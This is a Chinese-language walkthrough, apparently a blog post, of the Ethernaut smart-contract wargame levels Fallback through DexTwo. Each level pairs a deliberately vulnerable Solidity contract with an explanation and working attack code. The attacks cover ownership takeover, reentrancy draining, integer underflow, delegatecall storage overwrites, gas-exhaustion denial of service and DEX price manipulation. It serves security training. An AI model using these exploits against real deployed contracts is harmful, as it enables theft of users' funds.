一.fallback
Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Fallback { mapping(address => uint) public contributions; address public owner; constructor() { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); } modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if(contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution() public view returns (uint) { return contributions[msg.sender]; } function withdraw() public onlyOwner { payable(owner).transfer(address(this).balance); } receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } }
Analysis 这道题的目的是要成为这个合约的owner
并将这个合约的余额全部转走,看完整个合约发现有两个函数可以更改合约的owner
,contribute()
函数可以更改owner,但需要传入大于1000 Ether
,可以看到receive()
这个回调函数可以更改owner
,但需要 contributions[msg.sender]>0
同时传入的金额大于0,所以只需要先调用contribute()
函数并向其发送大一1 wei
的钱,在向合约发送大于1 wei
的钱,就可以更改合约的owner,再调用withdraw()
就可以将合约里的钱全部转走。
Attack 1 2 3 await contract.contribute ({value :1 })await contract.sendTransaction ({value :1 })await contract.withdraw ()
二.Fallout Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import 'openzeppelin-contracts-06/math/SafeMath.sol'; contract Fallout { using SafeMath for uint256; mapping (address => uint) allocations; address payable public owner; /* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; } function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation(address payable allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(address(this).balance); } function allocatorBalance(address allocator) public view returns (uint) { return allocations[allocator]; } }
Analysis 在solidity
中的构造函数可以写成与合约名相同的函数,如本题是想写成Fallout
,但是却写错成Fal1out
了,因此可以直接调用这个函数
Attack 1 await contract.Fal1 out()
三. CoinFlip Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }
Analysis 这道题是在考验伪随机数,为什么说是伪随机数,是因为在智能合约中所有的事情都是公开的,包括本题所用的block.number
,此题只需要将该合约所用的算法复制到攻击合约中即可
Attack 1 2 3 4 5 6 7 8 9 10 contract CoinFlipAttack{ CoinFlip constant private attack = CoinFlip(0x0a37b6Fcc8C6fDe162999F1B5Ff350BDb25B6589); function attackcoin() public { uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; uint256 blockValue = uint256(blockhash(block.number - 1)); uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; attack.flip(side); } }
四.Telephone Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Telephone { address public owner; constructor() { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } }
Analysis 此题只需要理解tx.origin
和msg.sender
的区别即可,tx.origin
是指发送交易的账户地址,msg.sender
是指直接调用智能合约函数的账户地址或智能合约地址
Attack 1 2 3 4 5 6 contract TelephoneAttackA{ Telephone constant private attacka = Telephone(0xDBA2fF6C527F845626f2940942Ab017E52F1eB76); function telephoneattack() public { attacka.changeOwner(msg.sender); } }
五.Token Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Token { mapping(address => uint) balances; uint public totalSupply; constructor(uint _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } }
Analysis 此题考验的是溢出,在transfer()
这个函数中,检测调用者的balances
是用的减法,在solidity
当中 存在整数溢出,其原理是由于计算机底层是二进制,任何十进制数字都会被编码到二进制。溢出会丢弃最高位,导致数值不正确。因此,只需要传入的_value
参数大于自己所有用的balances
即可
Attack 1 2 3 4 5 6 contract TokenAttack{ Token constant target = Token(0xAF796f0ad68E3DA295986A170e9117D18321E5Fd); function tokenattack() public{ target.transfer(msg.sender, 10); } }
六.Delegation Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Delegate { address public owner; constructor(address _owner) { owner = _owner; } function pwn() public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; constructor(address _delegateAddress) { delegate = Delegate(_delegateAddress); owner = msg.sender; } fallback() external { (bool result,) = address(delegate).delegatecall(msg.data); if (result) { this; } } }
Analysis 这道题的目的是成为Delegation
的owner
,考察的是关于delegatecall()
的运用。
在solidity
中存在三种调用方式:
1.call()
在被调用的合约的环境下执行被调用函数
2.delegatecall()
将被调用函数放在本身合约的环境中运行
3.staticcall()
调用函数但不允许更改链上的任何状态
本题很简单只需要在合约中调用Delegate
中的pwn()
函数即可
Attack 1 2 3 4 5 6 7 8 9 10 contract DelegationAttack{ Delegation target = Delegation(0x79cdd9CE3fE3DE12425523292D7257A5E188beD4); bytes public data = abi.encodeWithSignature("pwn()"); function delegationattack() public{ (bool success,)=address(target).delegatecall(data); if(success){ this; } } }
七.Force Code 1 2 3 4 5 6 7 8 9 10 11 12 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Force {/* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m) */}
Analysis 此题很简单,就是在考如何在合约没有接收函数的情况下,向其发送以太,只需要使用selfdestruct()
函数即可
Attack 1 2 3 4 5 6 7 8 9 10 11 contract ForceAttack { Force target = Force(0x1DFb5E96aba1D77AC89908D59611CEEdF04C3009); mapping(address => uint) public contributions; address payable addr = payable(address(target)); constructor() public payable { contributions[msg.sender] = msg.value; } function attack() public payable { selfdestruct(addr); } }
八.Vault Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Vault { bool public locked; bytes32 private password; constructor(bytes32 _password) { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } }
Analysis 这道题只需要读取password
变量即可,虽然这个合约将其设置为private
状态,但是在区块链上任何东西都是公开的,可以利用web3库的getStorageAt
函数读取即可,当然还要理解变量存储的相关知识
Attack 1 2 await web3.eth .getStorageAt (contract.address ,1 )await contract.unlock ('0x412076657279207374726f6e67207365637265742070617373776f7264203a29' )
九.King Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract King { address king; uint public prize; address public owner; constructor() payable { owner = msg.sender; king = msg.sender; prize = msg.value; } receive() external payable { require(msg.value >= prize || msg.sender == owner); payable(king).transfer(msg.value); king = msg.sender; prize = msg.value; } function _king() public view returns (address) { return king; } }
Analysis 这道题是一个很典型的庞氏骗局,我们需要往合约里发送大于prize
的以太,然后成为king
,再阻止下一个人向自己发送以太即可永久成为国王
Attack 1 2 3 4 5 6 7 8 9 10 contract KingAttack{ King constant target = King(payable(0x95fda6DBD9D5a21e645a1Fb8D311368728d232bC)); address payable addr = payable(address(target)); constructor() payable{ addr.call{value:1000000000000001}(""); } receive() external payable { revert(); } }
十.Re-entrancy Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import 'openzeppelin-contracts-06/math/SafeMath.sol'; contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value:_amount}(""); if(result) { _amount; } balances[msg.sender] -= _amount; } } receive() external payable {} }
Analysis 这道题是一个考察重入攻击的一道题,仔细看这道题的withdraw()
函数发现,这个函数是先执行转账再在余额上减去转走的金额,而在solidity
中当调用call()
的对象是个合约时,会自动调用合约的fallback()
函数,因此我们可以在fallback()
函数中再次调用withdraw()
函数,因为之前调用的withdraw()
并没有执行到减去余额的一步,就可以无限调用下去将合约的金额掏空(前提是call没有限制gas)。
Attack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 contract ReentranceAttack { Reentrance constant target = Reentrance(0x2D94f9324BD8CaAAe260991510105d75F5961B0f); constructor() public payable{ target.donate{value:0.001 ether}(address(this)); } function attack()public{ target.withdraw(0.001 ether); } function rs() public{ msg.sender.transfer(address(this).balance); } fallback() external payable{ target.withdraw(0.001 ether); } }
十一.Elevator Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Building { function isLastFloor(uint) external returns (bool); } contract Elevator { bool public top; uint public floor; function goTo(uint _floor) public { Building building = Building(msg.sender); if (! building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } }
Analysis 这道题提供了一个接口,只需要让攻击合约继承这个接口然后在调用的函数中,根据目标合约的变量的改变返回不同的值即可。
Attack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 contract ElevatorAttack is Building{ Elevator constant target = Elevator(0x65d66B67b0878934852132dA5f7C924b03CcD3a6); uint floor; function isLastFloor(uint _floor) external returns (bool){ if(floor != _floor){ floor = _floor; return false; }else{ return true; } } function floors() public { target.goTo(1); } }
十二.Privacy Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Privacy { bool public locked = true; uint256 public ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(block.timestamp); bytes32[3] private data; constructor(bytes32[3] memory _data) { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; } /* A bunch of super advanced solidity algorithms... ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU */ }
Analysis 这道题还是一个利用web3库去读取变量的一道题,同时要了解变量存储。
Attack 1 2 await web3.eth .getStorageAt (contract.address ,5 )await contract.unlock ()
十三.Gatekeeper One Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(gasleft() % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three"); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
Analysis 第一个gateOne()
函数很简单只需要用智能合约调用即可,第二个gateTwo()
函数检测可以通过调试检测到Gas
的时候剩多少gas再下一次调用时调整gas即可,或者用暴力破解即可,第三个gateThree()
函数很简单,需要让这个_gateKey
的二进制形式的低位的16个位与tx.origin
相同,让它的低位32位至16位之间全为0,64位到32位之间有1存在即可
Attack 1 2 3 4 5 6 7 8 9 10 11 12 13 contract GatekeeperOneAttack{ GatekeeperOne target = GatekeeperOne(0xd9145CCE52D386f254917e481eB44e9943F39138); bytes8 public key = 0x100000000000878c; uint256 public i; function attack() public returns (uint256){ for (i = 0; i < 300; i++) { (bool success, ) = address(target).call{gas: i + (8191 * 3)}(abi.encodeWithSignature("enter(bytes8)", key)); if (success) { return i; } } } }
十四.Gatekeeper Two Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller()) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
Analysis 这道题gateOne()
很简单跟上一题一样,gateTwo()
要检测调用者代码长度为0,只需要将代码放在构造函数中即可,gateThree()
只需要将uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
和type(uint64).max
相异或即可获得
Attack 1 2 3 4 5 6 7 8 contract GatekeeperTwoAttack { GatekeeperTwo delegate; constructor(address addr) { bytes8 key=bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max); delegate = GatekeeperTwo(addr); delegate.enter(key); } }
十五.Naught Coin Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = block.timestamp + 10 * 365 days; uint256 public INITIAL_SUPPLY; address public player; constructor(address _player) ERC20('NaughtCoin', '0x0') { player = _player; INITIAL_SUPPLY = 1000000 * (10**uint256(decimals())); // _totalSupply = INITIAL_SUPPLY; // _balances[player] = INITIAL_SUPPLY; _mint(player, INITIAL_SUPPLY); emit Transfer(address(0), player, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) override public lockTokens returns(bool) { super.transfer(_to, _value); } // Prevent the initial owner from transferring tokens until the timelock has passed modifier lockTokens() { if (msg.sender == player) { require(block.timestamp > timeLock); _; } else { _; } } }
Analysis 这道题很简单,只需要熟悉ERC20
合约即可,该题只重写了transfer()
函数,可以使用transferFrom()
即可
Attack 1 2 await contract.approve (player.address ,contract.INITIAL_SUPPLY ())await contract.transferFrom (contract.address ,player.address ,contract.INITIAL_SUPPLY ())
十六.Preservation Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } // set the time for timezone 1 function setFirstTime(uint _timeStamp) public { timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } // set the time for timezone 2 function setSecondTime(uint _timeStamp) public { timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } } // Simple library contract to set the time contract LibraryContract { // stores a timestamp uint storedTime; function setTime(uint _time) public { storedTime = _time; } }
Analysis 这道题很简单,只需要调用setFirstTime()
,就会调用LibraryContract
这个合约的setTime()
函数,由于这个函数修改的是这个合约的slot 0
位置的变量,所以会修改题目合约的timeZone1Library
这个变量,将其改为攻击合约,然后再调用一遍setFirstTime()
修改变量即可(需记住要将变量位置对应)
Attack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 await contract.setTime(attack.address) contract attack{ address public a1; address public a2; address public owner; uint public b; Preservation target = Preservation(0xD78E7d297118cb0618e1591F905D41b7DD0af7db); function setTime(uint _time) public { owner = tx.origin; } function attack1(uint _timeStamp) public{ b=_timeStamp; target.setFirstTime(_timeStamp); } }
十七.Recovery Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Recovery { //generate tokens function generateToken(string memory _name, uint256 _initialSupply) public { new SimpleToken(_name, msg.sender, _initialSupply); } } contract SimpleToken { string public name; mapping (address => uint) public balances; // constructor constructor(string memory _name, address _creator, uint256 _initialSupply) { name = _name; balances[_creator] = _initialSupply; } // collect ether in return for tokens receive() external payable { balances[msg.sender] = msg.value * 10; } // allow transfers of tokens function transfer(address _to, uint _amount) public { require(balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender] - _amount; balances[_to] = _amount; } // clean up after ourselves function destroy(address payable _to) public { selfdestruct(_to); } }
Analysis 这道题是忘记了合约地址,可以通过给的Recovery
地址去Etherscan
里查询交易情况找到新建合约的地址,或者通过keccack256(address, nonce)
来计算,其中nonce
是衍生合约发起的交易数量
十八.MagicNumber Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract MagicNum { address public solver; constructor() {} function setSolver(address _solver) public { solver = _solver; } /* ____________/\\\_______/\\\\\\\\\_____ __________/\\\\\_____/\\\///////\\\___ ________/\\\/\\\____\///______\//\\\__ ______/\\\/\/\\\______________/\\\/___ ____/\\\/__\/\\\___________/\\\//_____ __/\\\\\\\\\\\\\\\\_____/\\\//________ _\///////////\\\//____/\\\/___________ ___________\/\\\_____/\\\\\\\\\\\\\\\_ ___________\///_____\///////////////__ */ }
Analysis 这道题是希望我们能手写solidity
中的字节码,因为我们需要让它在被调用时能直接返回42
首先编写运行态字节码,运行态就是直接返回42,可以先利用mstore
将数据存入内存再利用return
返回42
1 2 3 4 5 6 push1 0x2a -> 60 2a (存入2a) push1 0x60 -> 60 60 (存储在0x60位置) mstore -> 52 push1 0x20 -> 60 20 (0x20=32 就是uint256类型的字节数) push1 0x60 -> 60 60 (数据存储的位置) return -> f3
合起来就是602a60605260206060f3
。
接下来时编写初始化字节码,就是初始化并通过codecopy
将运行态字节码存到内存中
codecopy
会读取参数t、f、s, t是代码的目的内存地址,f是运行态代码的偏移,s是指代码大小。
1 2 3 4 5 6 7 8 9 push1 0x0a -> 60 0a (运行态代码大小为10字节) push1 0xun -> 60 un (运行态代码的偏移量实际就是初始化字节码的大小) push1 0x20 -> 60 20 (存储在0x20的位置,并不固定) codecopy ->39 (接下来通过return将代码返回给evm) push1 0x0a -> 60 0a (运行态字节码的大小) push1 0x20 -> 60 20 (运行态字节码的存储位置) return -> f3 (初始化字节码为12个字节,所以 un = 12 =0x0c)
合起来就是600a600c602039600a6020f3
总的字节码就是0x600a600c602039600a6020f3602a60605260206060f3
Attack 1 2 3 4 5 6 await web3.eth .sendTransaction ({ from : player, data : "0x600a600c602039600a6020f3602a60605260206060f3" }) (交易没有接收方,会被识别为部署合约) 找到部署的合约地址后地址后 await contract.setSolver (address)
十九. Alien Codex Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // SPDX-License-Identifier: MIT pragma solidity ^0.5.0; import '../helpers/Ownable-05.sol'; contract AlienCodex is Ownable { bool public contact; bytes32[] public codex; modifier contacted() { assert(contact); _; } function makeContact() public { contact = true; } function record(bytes32 _content) contacted public { codex.push(_content); } function retract() contacted public { codex.length--; } function revise(uint i, bytes32 _content) contacted public { codex[i] = _content; } }
Analysis 这道题考察的是一个数组上溢的一道题,在以太坊的设计思路中,所有的storage
变量共有一片大小为2^256*32字节
的存储空间,所以当变成数组长度很大时即可修改任意变量的值。
可以通过使动态数组长度达到最大值,然后放进一个所想放入的值,使得数组长度算术下溢,扩大数组到整个2^256的存储区域,就可以修改目标合约的storage
。
动态数组刚开始会先往插槽中放入动态数组的长度,而存入动态数组中的值会根据下标值存入keccak256(slot(bytes(1)))+x
。
这道题可以利用retract()
这个函数使得数组长度达到最大值,然后发现这个数组长度时存储在slot1
中的,因此该动态数组的变量值存放在keccak256(1)+index
,而该题要修改的存储值在slot0
中,因此我们要修改的时在2^256
,由2^256=keccak256(1)+index
可计算出,index=2^256-keccak256(1)
,在通过使用revise()
函数,输入计算出的index
以及想要修改的值,即可覆盖slot0
Attack 1 2 await contract.retract ()await contract.revise ('35707666377435648211887908874984608119992236509074197713628505308453184860938' ,'0x00000000000000000000000006e45eA0f0fcBfa38851AB4790aC0afbf3987878C' )
二十.Denial Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Denial { address public partner; // withdrawal partner - pay the gas, split the withdraw address public constant owner = address(0xA9E); uint timeLastWithdrawn; mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances function setWithdrawPartner(address _partner) public { partner = _partner; } // withdraw 1% to recipient and 1% to owner function withdraw() public { uint amountToSend = address(this).balance / 100; // perform a call without checking return // The recipient can revert, the owner will still get their share partner.call{value:amountToSend}(""); payable(owner).transfer(amountToSend); // keep track of last withdrawal time timeLastWithdrawn = block.timestamp; withdrawPartnerBalances[partner] += amountToSend; } // allow deposit of funds receive() external payable {} // convenience function function contractBalance() public view returns (uint) { return address(this).balance; } }
Analysis 这道题是一道典型的拒绝服务攻击的题,查看withdraw()
函数发现给partner
转账使用的call
函数,所以这道题的入手处在于fallback()
的构造,并且这个函数中在使用call()
时没有对gas
进行限制。
solidity
中send
、call
和transfer
这三种转账之间的区别:
transfer
如果异常会转账失败,并抛出异常,存在gas
限制
send
如果异常会转账失败,返回false
,不终止执行,存在gas
限制
call
如果异常会转账失败,返回false
,不终止执行,没有gas
限制
所以我们要想办法将gas耗尽即可
solidity
中几种抛出异常的方式assert
、revert
和require
的区别:
assert
会消耗掉所有gas并回滚操作
require
会返回剩余gas并回滚操作
revert
会返回剩余gas并回滚操作
所以这道题我们使用assert
即可
Attack 1 2 3 4 5 6 7 8 9 10 11 contract DenialAttack{ Denial target = Denial(0xfa10E2b167c015c398c1156e7ADD31aD9dBd9106); function attack() public{ target.setWithdrawPartner(address(this)); } fallback() external payable{ assert(false); } }
二十一.Shop Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Buyer { function price() external view returns (uint); } contract Shop { uint public price = 100; bool public isSold; function buy() public { Buyer _buyer = Buyer(msg.sender); if (_buyer.price() >= price && !isSold) { isSold = true; price = _buyer.price(); } } }
Analysis 这道题是让我们以低于100的价格去购买商品,很简单看函数buy()
中是先改变的isSold
再改变的price
,所以我们可以根据isSold
的不同返回不同的price
的值即可
Attack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 contract ShopAttack is Buyer{ Shop target = Shop(0x2aA88C62dE7005ca4ACA04ed37DC568005bcd67a); function price() external view returns (uint){ if(target.isSold() == true){ return 90; }else{ return 101; } } function attack() public{ target.buy(); } }
二十二.Dex Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "openzeppelin-contracts-08/token/ERC20/IERC20.sol"; import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; import 'openzeppelin-contracts-08/access/Ownable.sol'; contract Dex is Ownable { address public token1; address public token2; constructor() {} function setTokens(address _token1, address _token2) public onlyOwner { token1 = _token1; token2 = _token2; } function addLiquidity(address token_address, uint amount) public onlyOwner { IERC20(token_address).transferFrom(msg.sender, address(this), amount); } function swap(address from, address to, uint amount) public { require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens"); require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); uint swapAmount = getSwapPrice(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).approve(address(this), swapAmount); IERC20(to).transferFrom(address(this), msg.sender, swapAmount); } function getSwapPrice(address from, address to, uint amount) public view returns(uint){ return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))); } function approve(address spender, uint amount) public { SwappableToken(token1).approve(msg.sender, spender, amount); SwappableToken(token2).approve(msg.sender, spender, amount); } function balanceOf(address token, address account) public view returns (uint){ return IERC20(token).balanceOf(account); } } contract SwappableToken is ERC20 { address private _dex; constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) { _mint(msg.sender, initialSupply); _dex = dexInstance; } function approve(address owner, address spender, uint256 amount) public { require(owner != _dex, "InvalidApprover"); super._approve(owner, spender, amount); } }
Analysis 这道题很简单考的是滑点的概念,因为这道题中在这个去中心化交易所里汇率是恒定的,所以我们只要再token1
和token2
之间来回倒即可
Attack 1 2 3 4 5 6 7 8 9 10 11 await contract.approve (contract.address ,10 )await contract.swap (token1,token2,10 )await contract.approve (contract.address ,20 )await contract.swap (token2,token1,20 )await contract.approve (contract.address ,24 )await contract.swap (token1,token2,24 )await contract.approve (contract.address ,30 )await contract.swap (token2,token1,30 )await contract.approve (contract.address ,41 )await contract.swap (token1,token2,41 )await contract.approve (contract.address ,65 )await contract.swap (token2,token1,65 )
二十三.Dex2 Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "openzeppelin-contracts-08/token/ERC20/IERC20.sol"; import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; import 'openzeppelin-contracts-08/access/Ownable.sol'; contract DexTwo is Ownable { address public token1; address public token2; constructor() {} function setTokens(address _token1, address _token2) public onlyOwner { token1 = _token1; token2 = _token2; } function add_liquidity(address token_address, uint amount) public onlyOwner { IERC20(token_address).transferFrom(msg.sender, address(this), amount); } function swap(address from, address to, uint amount) public { require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); uint swapAmount = getSwapAmount(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).approve(address(this), swapAmount); IERC20(to).transferFrom(address(this), msg.sender, swapAmount); } function getSwapAmount(address from, address to, uint amount) public view returns(uint){ return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))); } function approve(address spender, uint amount) public { SwappableTokenTwo(token1).approve(msg.sender, spender, amount); SwappableTokenTwo(token2).approve(msg.sender, spender, amount); } function balanceOf(address token, address account) public view returns (uint){ return IERC20(token).balanceOf(account); } } contract SwappableTokenTwo is ERC20 { address private _dex; constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) { _mint(msg.sender, initialSupply); _dex = dexInstance; } function approve(address owner, address spender, uint256 amount) public { require(owner != _dex, "InvalidApprover"); super._approve(owner, spender, amount); } }
Analysis 这道题更简单了,在swap()
函数中没有限制token的地址,所以我们可以自己创建个token
去掏空代币
Attack 1 2 3 4 5 6 7 8 9 10 11 12 contract DexTwoAttack is ERC20{ DexTwo target = DexTwo(0x7EbCe6F71630884F4aF1676Dd102D3B687B34eC6); constructor() ERC20('token5', '0XB') { _mint(address(target), 100); _mint(msg.sender, 100); } function Attack(address _addr) public { target.swap(_addr,0xE16F02277278f84FAdc973b793E230Cc01Dd2e68,100); } }
